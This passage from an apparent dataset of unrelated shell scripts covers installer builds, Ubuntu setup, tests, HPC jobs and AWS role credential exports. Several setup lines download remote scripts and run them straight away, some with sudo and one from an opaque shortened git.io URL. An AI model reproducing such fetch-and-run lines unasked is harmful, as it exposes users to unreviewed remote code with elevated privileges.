dist/\n\n# build standalone and portable versions\nwine \"C:/python$PYTHON_VERSION/scripts/pyinstaller.exe\" --noconfirm --ascii --name $NAME_ROOT -w deterministic.spec\n\n# set timestamps in dist, in order to make the installer reproducible\npushd dist\nfind -exec touch -d '2000-11-11T11:11:11+00:00' {} +\npopd\n\n# build NSIS installer\n# $VERSION could be passed to the electrum.nsi script, but this would require some rewriting in the script iself.\n#wine \"$WINEPREFIX/drive_c/Program Files (x86)/NSIS/makensis.exe\" /DPRODUCT_VERSION=$VERSION electrum.nsi\n\n# build Inno Setup\n\npushd tmp\nwget http://constexpr.org/innoextract/files/innoextract-1.6-windows.zip\nunzip innoextract-1.6-windows.zip\n\nwget http://files.jrsoftware.org/is/5/innosetup-5.5.9-unicode.exe\nwine innoextract.exe innosetup-5.5.9-unicode.exe\npopd\n\n(echo \"#define MyAppVersion \\\"$VERSION\\\"\"; cat garlium.iss) > garlium-versioned-tmp.iss\nwine tmp/app/ISCC.exe garlium-versioned-tmp.iss\n\ncd dist\ncp $NAME_ROOT-setup.exe $NAME_ROOT-$VERSION-setup.exe\ncp $NAME_ROOT.exe $NAME_ROOT-$VERSION.exe\ncp $NAME_ROOT-portable.exe $NAME_ROOT-$VERSION-portable.exe\n\nzip -r9 $NAME_ROOT.zip garlium/\ncp $NAME_ROOT.zip $NAME_ROOT-$VERSIOn.exe\ncd ..\n\necho \"Done.\"\nmd5sum dist/electrum*exe"} {"text": "<filename>devops/piperblue/test.sh\n#!/bin/bash\nset -e\n\ncd src/piperblue/tests/\npip install -e data/piperblueexample/package\npytest"} {"text": "#!/bin/bash\nmkdir Merged\ngrep \"[A-Za-z0-9].java$\" JavaFiles1 | xargs ./pc\nfor i in Merged/*java\ndo\n\tfile=`basename \"$i\" .java`\n\tcp `grep \"^All.*\"/$file\"_*\\.java$\" JavaFiles1 | xargs wc -w | sort -nr | cut -d ' ' -f 6 -f 7 | cut -d ' ' -f 2 | ./firstline.pl` Merged/$file.java || echo \"$i\"\ndone\n./recompile.sh"} {"text": "#!/bin/sh\nseriationct-runbuilder.py --experiment seriationct-4 --expconfig seriationct-priors.json --parallelism 4 --numsims 4 --networkmodels networks --debug 0 --jobdirectory jobs"} {"text": "sudo apt install tilix\nsudo update-alternatives --config x-terminal-emulator\n\n Auswahl Pfad Priorität Status\n------------------------------------------------------------\n* 0 /usr/bin/gnome-terminal.wrapper 40 automatischer Modus\n 1 /usr/bin/gnome-terminal.wrapper 40 manueller Modus\n 2 /usr/bin/tilix.wrapper 30 manueller Modus\n\n#evtl für menu eintrag\nsudo apt install python-nautilus\n\nsudo apt install zsh curl powerline fonts-powerline\nsh -c \"$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)\"\n\nwhich $SHELL\nchsh -s $(which zsh)\nsudo chsh -s $(which zsh) $(whoami)\necho $SHELL\n\nnano .zshrc\nZSH_THEME=\"agnoster\"\nplugins=(git zsh-autosuggestions zsh-syntax-highlighting colorize)\n# Example aliases\n# alias zshconfig=\"mate ~/.zshrc\"\n# alias ohmyzsh=\"mate ~/.oh-my-zsh\"\nsource $HOME/.bash_aliases\n\n#Tilix fix: https://gnunn1.github.io/tilix-web/manual/vteconfig/\nif [ $TILIX_ID ] || [ $VTE_VERSION ]; then\n source /etc/profile.d/vte.sh\nfi\n\n\n\ncd /etc/profile.d\nsudo ln -s /etc/profile.d/vte-2.91.sh /etc/profile.d/vte.sh\n\nnano $HOME/.bash_aliases\nalias ..=\"cd ..\"\nalias ...=\"cd ../..\"\n\ngit clone https://github.com/zsh-users/zsh-autosuggestions.git $ZSH_CUSTOM/plugins/zsh-autosuggestions\ngit clone https://github.com/zsh-users/zsh-syntax-highlighting.git $ZSH_CUSTOM/plugins/zsh-syntax-highlighting\n\nsudo apt-get install dconf-cli uuid-runtime\nbash -c \"$(wget -qO- https://git.io/vQgMr)\"\n# sudo apt-get install python-pygments"} {"text": "<filename>Lab5/start_transmitter.sh\n./lab5 -t -f data.txt -p custompipe"} {"text": "<gh_stars>1-10\n#!/bin/bash\nwhile getopts b:f: OPT; do\n case $OPT in\n b) back=\"$OPTARG\" ;;\n f) forward=\"$OPTARG\" ;;\n esac\ndone\necho \"$OPT\"\necho \"$back\""} {"text": "<filename>docker-start-container.sh<gh_stars>0\ndocker run -p 8080:8080 vaadin-training:latest"} {"text": "<reponame>renerocksai/bullets-server\n#!/usr/bin/env sh\nHOST=$1\nif [ -z \"$1\" ] ; then\n echo \"Provide host name\"\n exit 0\nfi\n\n./build_docker.sh\n./export-docker-image.sh\nscp bullets-server.docker.tar.gz $HOST:\nscp run_container.sh $HOST:"} {"text": "#!/bin/sh\njava -jar RedisManager-Web-1.0.0-SNAPSHOT.jar --spring.config.location=application.properties"} {"text": "#!/bin/bash\n\nmkdir ../public/swagger\nphp ../vendor/bin/openapi --bootstrap ./swagger-constants.php --output ../public/swagger ./swagger-v1.php ../app/Http/Controllers"} {"text": "<reponame>fzybunslpr/Ubuntu20-Setup-XPS13<gh_stars>0\n#!/bin/bash\nset -ex\n\n# Ensure repositories are enabled\nsudo add-apt-repository universe\nsudo add-apt-repository multiverse\nsudo add-apt-repository restricted\n\n# Add dell drivers for focal fossa\nsudo sh -c 'cat > /etc/apt/sources.list.d/focal-dell.list << EOF\ndeb http://dell.archive.canonical.com/updates/ focal-dell public\n# deb-src http://dell.archive.canonical.com/updates/ focal-dell public\n\ndeb http://dell.archive.canonical.com/updates/ focal-oem public\n# deb-src http://dell.archive.canonical.com/updates/ focal-oem public\n\ndeb http://dell.archive.canonical.com/updates/ focal-somerville public\n# deb-src http://dell.archive.canonical.com/updates/ focal-somerville public\n\ndeb http://dell.archive.canonical.com/updates/ focal-somerville-melisa public\n# deb-src http://dell.archive.canonical.com/updates focal-somerville-melisa public\nEOF'\n\nsudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys F9FDA6BED73CDC22\n\nsudo apt update -qq\n\n# Install general utilities\nsudo apt install git flatpak vim vlc gnome-tweaks ubuntu-restricted-extras gnome-tweak-tool -y -qq\n\n# Install drivers\nsudo apt install oem-somerville-melisa-meta libfprint-2-tod1-goodix oem-somerville-meta tlp-config -y\n\n# Install fusuma for handling gestures\nsudo gpasswd -a $USER input\nsudo apt install libinput-tools xdotool ruby -y -qq\nsudo gem install --silent fusuma\n\n# Install Howdy for facial recognition\nsudo add-apt-repository ppa:boltgolt/howdy -y > /dev/null 2>&1\nsudo apt update -qq\nsudo apt install howdy -y;\n\n# Remove packages:\nsudo apt remove rhythmbox -y -q\n\n# Add Flatpak support:\n#sudo apt install gnome-software-plugin-flatpak -y\n#sudo flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo\n\n# Add Plata-theme\nsudo add-apt-repository ppa:tista/plata-theme -y > /dev/null 2>&1\nsudo apt update -qq && sudo apt install plata-theme -y\n\ngsettings set org.gnome.desktop.interface gtk-theme \"Plata-Noir-Compact\"\ngsettings set org.gnome.desktop.wm.preferences theme \"Plata-Noir-Compact\"\n\n# Enable Shell Theme\nsudo apt install gnome-shell-extensions -y\ngnome-extensions enable <EMAIL>\ngsettings set org.gnome.shell.extensions.user-theme name \"Plata-Noir-Compact\"\n\n# Install fonts\nsudo apt install fonts-firacode fonts-open-sans -y -qq\n\ngsettings set org.gnome.desktop.interface font-name 'Open Sans 12'\ngsettings set org.gnome.desktop.interface monospace-font-name 'Fira Code 13'\n\n## Add Java JDK LTS\nsudo apt install openjdk-11-jdk -y\n\ncurl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > /tmp/packages.microsoft.gpg\nsudo install -o root -g root -m 644 /tmp/packages.microsoft.gpg /usr/share/keyrings/\nsudo sh -c 'echo \"deb [arch=amd64 signed-by=/usr/share/keyrings/packages.microsoft.gpg] https://packages.microsoft.com/repos/vscode stable main\" > /etc/apt/sources.list.d/vscode.list'\n\nsudo apt update -qq && sudo apt install code -y\n\n## Post installation for code (sensible defaults)\ncode --install-extension visualstudioexptteam.vscodeintellicode\ncode --install-extension eamodio.gitlens\n\n#sudo flatpak install postman -y\n\n# Node Install\ncurl -sL https://deb.nodesource.com/setup_14.x | sudo -E bash -\nsudo apt-get install -y nodejs \n\n# Setup GNOME material shell (Need node for compilation)\ngit clone https://github.com/PapyElGringo/material-shell.git ~/material-shell || true\nmake -C ~/material-shell/ install\n\n## Chat\n#sudo flatpak install discord -y\n\n## Multimedia\n#sudo flatpak install spotify -y\n\n# Sublime Text\nwget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key add -\nsudo apt-get install apt-transport-https\necho \"deb https://download.sublimetext.com/ apt/stable/\" | sudo tee /etc/apt/sources.list.d/sublime-text.list\nsudo apt-get update\nsudo apt-get install sublime-text\n\n# Brave\nsudo apt install apt-transport-https curl gnupg\ncurl -s https://brave-browser-apt-release.s3.brave.com/brave-core.asc | sudo apt-key --keyring /etc/apt/trusted.gpg.d/brave-browser-release.gpg add -\necho \"deb [arch=amd64] https://brave-browser-apt-release.s3.brave.com/ stable main\" | sudo tee /etc/apt/sources.list.d/brave-browser-release.list\nsudo apt update\nsudo apt install brave-browser\n\n# OBS Studio\nsudo apt install ffmpeg\nsudo add-apt-repository ppa:obsproject/obs-studio\nsudo apt update\nsudo apt install obs-studio\n\n# Flameshot\nsudo apt install flameshot\n\n# Gotta reboot now:\nsudo apt update -qq && sudo apt upgrade -y && sudo apt autoremove -y"} {"text": "<reponame>justindujardin/mathy\n#!/bin/bash\nset -e\nrm -rf .env/\nrm -rf mathy_mkdocs.egg-info/"} {"text": "<reponame>ItzSelenux/Ilustraciones-icon-theme\n#!/bin/sh\n\n#Xdg declaration\n###########################\nxdg=${XDG_DATA_HOME:-${HOME}/.local/share}\nDIR=\"${xdg}/icons/ilustraciones/\"\n\n#question\n###########################\n echo \"Do you want to install 'Ilustraciones icon theme'? Y/n\"\n read a\n\n#if yes\n###########################\n if [ x$a = x\"Y\" ]\n then\n echo \"Creating theme directory: ${DIR}\"\n mkdir -p \"${DIR}\"\n echo \"Installing 'Ilustraciones icon theme'...\"\n cp -r ./* \"${DIR}\"\n echo \"done\"\n \n#if no\n#########################\n elif [ x${a} = x\"n\" ]\n then\n echo \"ok, operation cancelled\"\n\nfi"} {"text": "<reponame>goberchtold/dynatrace-monitoring-as-code<gh_stars>100-1000\n#!/bin/sh\n# NOTE: This is meant to be run inside the repo root as ./tools/setup-git-hooks.sh\n\ndir=$(pwd)\nln -sf $dir/tools/format-commit-changes.sh $dir/.git/hooks/pre-commit"} {"text": "<reponame>oholiab/paasta<gh_stars>0\n#!/bin/bash\n# Copyright 2015 Yelp Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nset -e\n\ntab_complete_pass() {\n pre_typed=\"$1\"\n echo \"Tab completion with '$pre_typed' returned what we expected\"\n}\ntab_complete_fail() {\n pre_typed=\"$1\"\n actual=\"$2\"\n expected=\"$3\"\n echo \"Tab completion for '$pre_typed' did not return what we expected\"\n echo \"Actual:\"\n echo $actual\n echo \"Expected:\"\n echo $expected\n exit 1\n}\n\n# The expected output of tab completion is the words we should complete to\n# separated by the vertical tab char\n# This test will need to be modified if we add any new subcommands that start with\n# with the provided pre_typed:\npre_typed='st'\nexpected=`echo -e \"start\\vstop\\vstatus\"`\n# We feed the special env variables available at tab completion time\n# to the paasta command to make it return back the tab completion output to\n# fd 8, which we redirect to 1 so we can capture it\n# See https://github.com/kislyuk/argcomplete#debugging\nactual=`COMP_LINE=\"paasta $pre_typed\" COMP_POINT=99 _ARGCOMPLETE=1 paasta 8>&1 9>/dev/null`\nif [[ $expected == $actual ]]; then\n tab_complete_pass \"$pre_typed\"\nelse\n tab_complete_fail \"$pre_typed\" \"$actual\" \"$expected\"\nfi\n\n# Test tab completion in zsh\nzsh_actual=$(zsh -c \"COMP_LINE='paasta $pre_typed' COMP_POINT=99 _ARGCOMPLETE=1 paasta 8>&1 9>/dev/null\")\nif [[ $expected == $zsh_actual ]]; then\n tab_complete_pass \"$pre_typed\"\nelse\n tab_complete_fail \"$pre_typed\" \"$zsh_actual\" \"$expected\"\nfi\n\n# laziness test\n#\n# Our tab completion code uses lazy_choices_completer to defer collection of\n# expensive tab-complete options, e.g. scraping yelpsoa-configs. Make sure we\n# are being sufficiently lazy.\nnum_opens_in_nail_etc_services=`strace -e open paasta 2>&1 | grep '/nail/etc/services' | wc -l`\nif [[ $num_opens_in_nail_etc_services == 0 ]]; then\n echo \"laziness test ok.\"\nelse\n echo \"laziness test failure.\"\n echo \"Running 'paasta' caused $num_opens_in_nail_etc_services file opens in /nail/etc/services\"\n exit 1\nfi\n\n\necho \"Everything worked!\""} {"text": "#!/bin/sh\n\nalias dig='/usr/bin/dig'\n\n\nfor domain in $(cat domains.txt)\ndo\n for server in $(cat servers.txt)\n do\n response_time=$(dig @$server $domain | grep -o \"Query time: [0-9]*\" | grep -o \"[0-9]*\")\n echo $server,$domain,$response_time\n done\ndone\nexit"} {"text": "#!/bin/bash\n# use testnet settings, if you need mainnet, use ~/.whatcoincore/whatcoind.pid file instead\nwhatcoin_pid=$(<~/.whatcoincore/testnet3/whatcoind.pid)\nsudo gdb -batch -ex \"source debug.gdb\" whatcoind ${whatcoin_pid}"} {"text": "<reponame>michaeljohnclancy/spikeforest2\n#!/bin/bash\n\n# if [[ -z \"${KILOSORT2_PATH}\" ]]; then\n# echo \"You must set the environment variable: KILOSORT2_PATH\"\n# exit -1\n# fi\n\nthisdir=$PWD\n\n# git clone https://github.com/alexmorley/Kilosort2\ngit clone https://github.com/MouseLand/Kilosort2 Kilosort2\ncd Kilosort2 && git checkout 67a42a87b866b6150385a46eec358adb349d9ff2 && cd ..\nKILOSORT2_PATH=$PWD/Kilosort2\n\ncd $KILOSORT2_PATH/CUDA\nmatlab -nodisplay -nosplash -r \"mexGPUall; quit\"\n\ncd \"$thisdir\"\n\nmcc -m -v -R '-nodesktop, -nosplash -nojvm' \\\n -a kilosort2_master.m \\\n -a kilosort2_channelmap.m \\\n -a kilosort2_config.m \\\n -a constructNPYheader.m \\\n -a writeNPY.m \\\n -a $KILOSORT2_PATH \\\n kilosort2_binary.m\n\ncp kilosort2_binary ../container/"} {"text": "<filename>postgresql/postgresql-start/initdb.sh<gh_stars>1-10\nthisdir=$(dirname ${BASH_SOURCE[0]})\ninit_data_file=$(readlink -f ${thisdir}/../data/init.sql)\n\nif $PG_INITIALIZED ; then\n\tpsql -U $POSTGRESQL_USER -d $POSTGRESQL_DATABASE -f $init_data_file\nfi"} {"text": "#!/bin/bash\nvar=$(grep $1 $2);\nif [ -n $var ]; then\n\techo \"Filename got motif\";\nelse \n\techo \"Filename no got motif\";\nfi"} {"text": "#!/bin/bash\n# Config for AMD (system with 48-core AMD Opteron CPU)\nN=48\nAPF=0.0135\nPSYS=386"} {"text": "#!/bin/bash\nunset AWS_SESSION_TOKEN\n\ntemp_role=$(aws sts assume-role \\\n --role-arn \"arn:aws:iam::$ACCOUNT_ID:role/spacenow-role-api-cicd_role\" \\\n --role-session-name \"spacenow-cli\" \\\n)\n\nexport AWS_ACCESS_KEY_ID=$(echo $temp_role | jq .Credentials.AccessKeyId | xargs)\nexport AWS_SECRET_ACCESS_KEY=$(echo $temp_role | jq .Credentials.SecretAccessKey | xargs)\nexport AWS_SESSION_TOKEN=$(echo $temp_role | jq .Credentials.SessionToken | xargs)"} {"text": "#/bin/sh\n#\n# Run with source ./copyplots.sh\n\ncp ./combfigs/*.pdf /home/user/Dropbox/#THESIS/tex/figs\ncp ./combfigs/*.tex /home/user/Dropbox/#THESIS/tex\n\ncp ./xsfigs/*.pdf /home/user/Dropbox/#THESIS/tex/figs\ncp ./unfoldfigs/*.pdf /home/user/Dropbox/#THESIS/tex/figs"} {"text": "#!/bin/bash\n#$ -hold_jid 535559,535560,535561,535562,535563,535564,535565,535566,535567,535568,535569,535570,535571,535572,535573,535574,535575,535576,535577,535578,535579,535580,535581,535582,535583,535584,535585,535586,535587,535588,535589,535590,535591,535592,535593,535594,535595,535596,535597,535598,535599,535600,535601,535602,535603,535604,535605,535606,535607,535608\nset -e\nset -o pipefail\numask 0002\n\n#### SET THE STAGE\nSCRATCH_DIR=/scratch/EAGLERC_Reseq_low_301_350_2019-12-20--12-30-32_303_temp$$\nGSTORE_DIR=/srv/gstore/projects\nINPUT_DATASET=/srv/gstore/projects/p1634/EAGLERC_Reseq_low_301_350_2019-12-20--12-30-32/input_dataset.tsv\nLAST_JOB=FALSE\necho \"Job runs on `hostname`\"\necho \"at $SCRATCH_DIR\"\nmkdir $SCRATCH_DIR || exit 1\ncd $SCRATCH_DIR || exit 1\nsource /usr/local/ngseq/etc/lmod_profile\nmodule add Tools/EAGLE/1.1.1b\n\n#### NOW THE ACTUAL JOBS STARTS\neagle --version\neagle-rc --ngi --ref1=/srv/GT/reference/Finger_millet/KEN/DENOVO_v2.0_A_subgenome/Sequence/WholeGenomeFasta/genome.fa --ref2=/srv/GT/reference/Finger_millet/KEN/DENOVO_v2.0_B_subgenome/Sequence/WholeGenomeFasta/genome.fa --bam1=/srv/gstore/projects/p1634/BWA_Reseq_low_301_350_on_A_2019-11-27--09-41-12/303.bam --bam2=/srv/gstore/projects/p1634/BWA_Reseq_low_301_350_on_B_2019-11-27--09-48-15/303.bam -o 303 > 303.sort.stdout.log 2> 303.sort.errout.log\nmv 3031.ref.bam 303_A_ref.bam\nmv 3031.alt.bam 303_A_alt.bam\nmv 3031.unk.bam 303_A_unk.bam\nmv 3031.mul.bam 303_A_mul.bam\nmv 3032.ref.bam 303_B_ref.bam\nmv 3032.alt.bam 303_B_alt.bam\nmv 3032.unk.bam 303_B_unk.bam\nmv 3032.mul.bam 303_B_mul.bam\necho 'Supercalifragilisticexpialidocious!!' > 303_dummy.txt\n\n\n#### JOB IS DONE WE PUT THINGS IN PLACE AND CLEAN AUP\ng-req -w copy 303_A_ref.bam /srv/gstore/projects/p1634/EAGLERC_Reseq_low_301_350_2019-12-20--12-30-32\ng-req -w copy 303_A_alt.bam /srv/gstore/projects/p1634/EAGLERC_Reseq_low_301_350_2019-12-20--12-30-32\ng-req -w copy 303_A_unk.bam /srv/gstore/projects/p1634/EAGLERC_Reseq_low_301_350_2019-12-20--12-30-32\ng-req -w copy 303_A_mul.bam /srv/gstore/projects/p1634/EAGLERC_Reseq_low_301_350_2019-12-20--12-30-32\ng-req -w copy 303_B_ref.bam /srv/gstore/projects/p1634/EAGLERC_Reseq_low_301_350_2019-12-20--12-30-32\ng-req -w copy 303_B_alt.bam /srv/gstore/projects/p1634/EAGLERC_Reseq_low_301_350_2019-12-20--12-30-32\ng-req -w copy 303_B_unk.bam /srv/gstore/projects/p1634/EAGLERC_Reseq_low_301_350_2019-12-20--12-30-32\ng-req -w copy 303_B_mul.bam /srv/gstore/projects/p1634/EAGLERC_Reseq_low_301_350_2019-12-20--12-30-32\ng-req -w copy 303.sort.stdout.log /srv/gstore/projects/p1634/EAGLERC_Reseq_low_301_350_2019-12-20--12-30-32\ng-req -w copy 303.sort.errout.log /srv/gstore/projects/p1634/EAGLERC_Reseq_low_301_350_2019-12-20--12-30-32\ng-req -w copy 303_dummy.txt /srv/gstore/projects/p1634/EAGLERC_Reseq_low_301_350_2019-12-20--12-30-32\ncd /scratch\nrm -rf /scratch/EAGLERC_Reseq_low_301_350_2019-12-20--12-30-32_303_temp$$ || exit 1"} {"text": "#!/bin/bash\n\nfor x in *-test.rb ; do\n echo -n $x\n ./${x} $@ && echo \" ok\"\ndone"} {"text": "<filename>net/scripts/add-datacenter-solana-user-authorized_keys.sh\n#!/usr/bin/env bash\nset -ex\n\ncd \"$(dirname \"$0\")\"\n\n# shellcheck source=net/scripts/solana-user-authorized_keys.sh\nsource solana-user-authorized_keys.sh\n\n# solana-user-authorized_keys.sh defines the public keys for users that should\n# automatically be granted access to ALL datacenter nodes.\nfor i in \"${!PANOPTIS_USERS[@]}\"; do\n echo \"environment=\\\"PANOPTIS_USER=${PANOPTIS_USERS[i]}\\\" ${PANOPTIS_PUBKEYS[i]}\"\ndone"} {"text": "#!/bin/bash\n\n# This script should be used to test Local MPI runs on\n# DEVELOPMENT versions of Savu. It takes the path to the\n# Savu source to be used as its first argument, and the rest\n# are forwarded to Savu itself.\n#\n# The Python environment containing all the dependencies of Savu\n# must already be activated.\n#\n# Example usage with full paths:\n# /scratch/dev/savu/bin/savu_mpi_dev.sh /scratch/dev/savu /scratch/dev/savu/test_data/data/24737.nxs /scratch/dev/savu/test_data/process_lists/ica_test.nxs /scratch/output\n#\n# Example usage while inside the repository root:\n# bin/savu_mpi_local_dev.sh . test_data/data/24737.nxs test_data/process_lists/ica_test.nxs /scratch/output\n\necho \"SAVU_MPI_LOCAL:: Running Job with Savu at $1\"\n\nnNodes=1\nnCoresPerNode=`lscpu --all --parse=CORE,SOCKET | grep -E \"^[0-9]\" | wc -l`\nnGPUs=$(nvidia-smi -L | wc -l)\n\necho \"***********************************************\"\necho -e \"\\tRunning on $nCoresPerNode CPUs and $nGPUs GPUs\"\necho \"***********************************************\"\n\nsavupath=$1\ndatafile=$2\nprocessfile=$3\noutpath=$4\nshift 4\noptions=$@\n\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\necho \"savupath is:\" $savupath\n\nnCPUs=$((nNodes*nCoresPerNode))\n\n# launch mpi job\nfilename=$savupath/savu/tomo_recon.py\n\necho \"running on host: \"$HOSTNAME\necho \"Processes running are : ${nCPUs}\"\n\nprocesses=`bc <<< \"$nCPUs\"`\n\nfor i in $(seq 0 $((nGPUs-1))); do GPUs+=\"GPU$i \" ; done\nfor i in $(seq 0 $((nCPUs-1-nGPUs))); do CPUs+=\"CPU$i \" ; done\nCPUs=$(echo $GPUs$CPUs | tr ' ' ,)\n\necho \"running the savu mpi local job with process parameters: $CPUs\"\n\necho \"Using python at $(which python)\"\n\nOMPI_MCA_opal_cuda_support=true PYTHONPATH=$savupath:$PYTHONPATH mpirun -np $nCPUs --use-hwthread-cpus \\\n -mca btl self,vader -mca orte_forward_job_control 1 \\\n python $filename $datafile $processfile $outpath -n $CPUs -v $options\n\necho \"SAVU_MPI_LOCAL:: Process complete\""} {"text": "<gh_stars>0\n#cortana eat your heart out \n#ran over ssh on android upon connecting to home network\n\n\nspd-say -t female3 \"Welcome Home, Jon. Here is your evening forecast\"\n#aliases weather..\nweather Kansas City | spd-say -et female3"} {"text": "#!/bin/bash\n\nfor chart in \"$@\"\ndo\n operator-sdk new \"${chart}-operator\" --type=helm --helm-chart ../stable/${chart}\n pushd \"${chart}-operator\"\n operator-sdk build --image-builder docker quay.io/danclark/${chart}-operator:v0.0.1\n popd\ndone"} {"text": "<filename>docker/dp.sh\n#!/bin/sh\ndocker port spark | sort -t / -n"} {"text": "<reponame>ips-protocol/go-ips\n#!/usr/bin/env bash\n#\n# Copyright (c) 2017 Whyrusleeping\n# MIT Licensed; see the LICENSE file in this repository.\n#\n\ntest_description=\"Test docker image migration\"\n\n. lib/test-lib.sh\n\n# if in travis CI on OSX, docker is not available\nif ! test_have_prereq DOCKER; then\n skip_all='skipping docker tests, docker not available'\n\n test_done\nfi\n\nTEST_TRASH_DIR=$(pwd)\nTEST_SCRIPTS_DIR=$(dirname \"$TEST_TRASH_DIR\")\nTEST_TESTS_DIR=$(dirname \"$TEST_SCRIPTS_DIR\")\nAPP_ROOT_DIR=$(dirname \"$TEST_TESTS_DIR\")\n\ntest_expect_success \"docker image build succeeds\" '\n docker_build \"$TEST_TESTS_DIR/../Dockerfile\" \"$APP_ROOT_DIR\" >actual &&\n IMAGE_ID=$(tail -n1 actual | cut -d \" \" -f 3)\n'\n\ntest_init_ipfs\n\ntest_expect_success \"make repo be version 4\" '\n echo 4 > \"$IPWS_PATH/version\"\n'\n\ntest_expect_success \"setup http response\" '\n echo \"HTTP/1.1 200 OK\" > vers_resp &&\n echo \"Content-Length: 7\" >> vers_resp &&\n echo \"\" >> vers_resp &&\n echo \"v1.1.1\" >> vers_resp\n'\n\npretend_server() {\n socat tcp-listen:17233,fork,bind=127.0.0.1,reuseaddr 'SYSTEM:cat cers_resp'!!STDERR &\n}\n\ntest_expect_success \"startup fake dists server\" '\n pretend_server > dist_serv_out &\n echo $! > netcat_pid\n'\n\ntest_expect_success \"docker image runs\" '\n DOC_ID=$(docker run -d -v \"$IPWS_PATH\":/data/ipfs --net=host -e IPFS_DIST_PATH=\"http://localhost:17233\" \"$IMAGE_ID\" --migrate)\n'\n\ntest_expect_success \"docker container tries to pull migrations from netcat\" '\n sleep 4 &&\n cat dist_serv_out\n'\n\ntest_expect_success \"see logs\" '\n docker logs $DOC_ID\n'\n\ntest_expect_success \"stop docker container\" '\n docker_stop \"$DOC_ID\"\n'\n\ntest_expect_success \"kill the net cat\" '\n kill $(cat netcat_pid) || true\n'\n\ntest_expect_success \"correct version was requested\" '\n grep \"/fs-repo-migrations/v1.1.1/fs-repo-migrations_v1.1.1_linux-amd64.tar.gz\" dist_serv_out > /dev/null\n'\n\ntest_done"} {"text": "#!/usr/bin/env bash\n\ngnome-terminal \\\n --geometry=180x40 \\\n --tab-with-profile=prod \\\n -- bash -c \"cd $(dirname \"$0\"); exec bash --rcfile ${1:-activate.prod.sh}\""} {"text": "#!/bin/sh\n\nVERSION=$1\n\ndocker run \\\n--privileged \\\n-it \\\n-e USER=red-panda-ci \\\n-e REPO=generator-redpanda-node-module \\\n-e BRANCH=develop \\\n-e NPM_COMMAND=test \\\n-e GENERATED_FILES=coverage \\\n-v `pwd`/coverage:/generated-files \\\nredpandaci/npm-command-runner:$VERSION"} {"text": "#!/usr/bin/env bash\n\n# Abort on errors\nset -e\n\nif [[ \" $* \" =~ \" \"(\"-h\"|\"--help\")\" \" ]]\nthen\n echo \"Update and (re-)build backscrub\"\n echo \"USAGE:\"\n echo \" ./build.sh [OPTIONS]\"\n echo \"\"\n echo \" Options:\"\n echo \" --h, --help Show this help message and exit\"\n echo \" --no-update Skip fetching updates from github\"\n exit 0\nfi\n\n# Get the root directory of the repository\nwd=\"$(cd \"$(dirname \"$0\")\" || exit 1; pwd)\"\n\necho \"working directory: $wd\"\ncd \"$wd\"\n\n# Make sure we have the latest version of backscrub\necho \"Fetching latest version...\"\n[[ \" $* \" =~ \" --no-update\" ]] || git pull --recurse-submodules\necho \"..done\"\necho \"\"\n\n# Backup the current build directory (if present)\nbackup_dir=\"$(mktemp -d)\"\n\nif [[ -d \"./build\" ]]\nthen\n echo \"Backing up build directory...\"\n mv ./build \"$backup_dir/build\"\n echo \"..done\"\n echo \"\"\n echo \"backup dir: $backup_dir\"\n\n restore_backup() {\n echo 'Restoring backup...'\n if [[ -d \"${1?}/build\" ]] \n then\n rm -rf ./build && mv \"$1/build\" ./build\n fi\n rm -rf \"$1\"\n echo '..done'\n }\n\n # Restore the backup on error\n trap \"restore_backup $backup_dir\" ERR\n\nfi\n\necho \"Building backscrub...\"\n\nmkdir -p ./build\ncd ./build\n\n# Build backscrub\ncmake ..\nmake -j \"$(nproc || echo 4)\"\nln -s ../models models\n\necho \"..done\"\necho \"\"\n\nif [[ -d \"$backup_dir\" ]];\nthen\n echo \"Cleaning up...\"\n # Delete the backup on success\n rm -rf \"$backup_dir\"\n echo \"..done\"\n echo \"\"\nfi\n\necho \"All done. You can run backscrub like this:\"\necho \" cd \\\"$wd/build\\\" && ./backscrub -h\"\necho \"\"\necho \"Or you can add the following line to your ~/.bashrc, to get a backscrub command:\"\necho \"backscrub() { ( cd \\\"$wd/build\\\" && ./backscrub \\\"\\$@\\\" ) }\""} {"text": "#!/usr/bin/env bash\n\nsource ../lib/utils.sh\nsource ../lib/git.sh\n\ndoCloneOrPullGit() {\n cloneOrPullGit $1 $2 $3 $4 $5\n if [[ \"$?\" == \"${SUCCEED}\" ]]; then\n printf \"\\n${C_GREEN}>>>> Update git project [$2/$3] succeed.${C_RESET}\\n\"\n return ${SUCCEED}\n else\n printf \"\\n${C_RED}>>>> Update git project [$2/$3] failed.${C_RESET}\\n\"\n return ${FAILED}\n fi\n}\n\n##################################### MAIN #####################################\nROOT=$(dirname ${BASH_SOURCE[0]})\n\n# 这里需要根据实际情况替换 Git 仓库、项目组、项目、代码分支\nREPOSITORY=\"<EMAIL>\"\n\nprintf \"${C_CYAN}Current path is ${ROOT}.${C_RESET}\\n\"\n\ndoCloneOrPullGit ${REPOSITORY} turnon linux-tutorial master ${ROOT}\nr1=$?\ndoCloneOrPullGit ${REPOSITORY} turnon nginx-tutorial master ${ROOT}\nr2=$?\n\nif [[ \"${r1}\" == \"${SUCCEED}\" && \"${r2}\" == \"${SUCCEED}\" ]]; then\n printf \"\\n${C_B_GREEN}<<<< Init workspace Succeed.${C_RESET}\\n\\n\"\n exit ${SUCCEED}\nelse\n printf \"\\n${C_B_RED}<<<< Init workspace Failed.${C_RESET}\\n\\n\"\n exit ${FAILED}\nfi"} {"text": "<reponame>aoirint/aoirint-miyadaiku-theme-blog\n#!/bin/sh\npip3 install .. && miyadaiku-build -sw . --rebuild"} {"text": "<gh_stars>1-10\n#!/bin/bash\n\ndata_dir=\"/Volumes/WDC_internal/Users/bell/ecoraid/\"\nprog_dir=\"/Volumes/WDC_internal/Users/bell/Programs/Python/EcoFOCI_MooringAnalysis/\"\n\nmooringID='18mtitaepr1a'\nmooringYear='2018'\nlat='60 01.70 N'\nlon='172 47.33 